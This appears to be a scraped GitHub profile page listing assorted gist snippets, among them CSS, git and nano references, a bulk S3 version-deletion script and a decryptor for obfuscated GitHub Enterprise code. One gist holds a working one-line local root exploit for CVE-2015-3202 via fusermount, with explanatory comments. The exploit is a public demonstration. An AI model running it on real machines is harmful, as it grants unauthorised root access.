Skip to content

Instantly share code, notes, and snippets.

View markuman's full-sized avatar
🐧
Linux Only - fail fast, move on

Markus Bergholz markuman

🐧
Linux Only - fail fast, move on
  • Lekker Energie GmbH
  • Berlin
View GitHub Profile
@neingeist
neingeist / burger.css
Created November 4, 2015 21:05
twitterburger (für stylish firefox extension)
@-moz-document domain(twitter.com) {
.HeartAnimationContainer {
visibility: hidden;
}
.HeartAnimationContainer:after {
content: '🍔';
visibility: visible;
display: block;
position: absolute;
#!/usr/bin/sudo sh
## ruby_revealer.sh -- decrypt obfuscated GHE .rb files. 2.0.0 to 2.3.1+.
## From `strings ruby_concealer.so`:
##
## > This obfuscation is intended to discourage GitHub Enterprise customers
## > from making modifications to the VM.
##
## Well, good, as long as its not intended to discourage *me* from doing this!
@barosl
barosl / add.c
Created July 26, 2015 07:26
Function overloading in C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int addi(int a, int b) {
return a + b;
}
char *adds(char *a, char *b) {
char *res = malloc(strlen(a) + strlen(b) + 1);
@varemenos
varemenos / 1.README.md
Last active April 4, 2025 03:30
Git log in JSON format

Get Git log in JSON format

git log --pretty=format:'{%n  "commit": "%H",%n  "abbreviated_commit": "%h",%n  "tree": "%T",%n  "abbreviated_tree": "%t",%n  "parent": "%P",%n  "abbreviated_parent": "%p",%n  "refs": "%D",%n  "encoding": "%e",%n  "subject": "%s",%n  "sanitized_subject_line": "%f",%n  "body": "%b",%n  "commit_notes": "%N",%n  "verification_flag": "%G?",%n  "signer": "%GS",%n  "signer_key": "%GK",%n  "author": {%n    "name": "%aN",%n    "email": "%aE",%n    "date": "%aD"%n  },%n  "commiter": {%n    "name": "%cN",%n    "email": "%cE",%n    "date": "%cD"%n  }%n},'

The only information that aren't fetched are:

  • %B: raw body (unwrapped subject and body)
  • %GG: raw verification message from GPG for a signed commit
@taviso
taviso / CVE-2015-3202
Created May 21, 2015 12:52
Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
# $b is used twice, first to build the contents of shellscript $a, and then as
@weavenet
weavenet / delete_all_object_versions.sh
Created May 4, 2015 05:21
Delete all versions of all files in s3 versioned bucket using AWS CLI and jq.
#!/bin/bash
bucket=$1
set -e
echo "Removing all versions from $bucket"
versions=`aws s3api list-object-versions --bucket $bucket |jq '.Versions'`
markers=`aws s3api list-object-versions --bucket $bucket |jq '.DeleteMarkers'`
@franz-josef-kaiser
franz-josef-kaiser / nano-shorts.md
Last active January 17, 2025 16:48
nano keyboard shortcuts

^ = Ctrl key M = Alt key

^G      (F1)            Display this help text
^X      (F2)            Close the current file buffer / Exit from nano
^O      (F3)            Write the current file to disk
^J      (F4)            Justify the current paragraph

^R      (F5)            Insert another file into the current one
@cevaris
cevaris / generate_key.sh
Last active May 5, 2024 19:34
Sign and Verify using Python pycrypto
#!/usr/bin/env bash
# Generate RSA private key
openssl genrsa -out private_key.pem 1024

Git Cheat Sheet

Commands

Getting Started

git init

or

@mallendeo
mallendeo / toutf8.ts
Last active February 27, 2023 22:29
Convert iso-8859-1 to utf-8 in nodejs
import iconv from 'iconv'
export const convertToUTF8 = <T extends any>(body: T, fromEncoding = 'iso-8859-1'): T => {
const ic = new iconv.Iconv(fromEncoding, 'utf-8')
const buf = ic.convert(JSON.stringify(body))
return JSON.parse(buf.toString('utf-8'))
}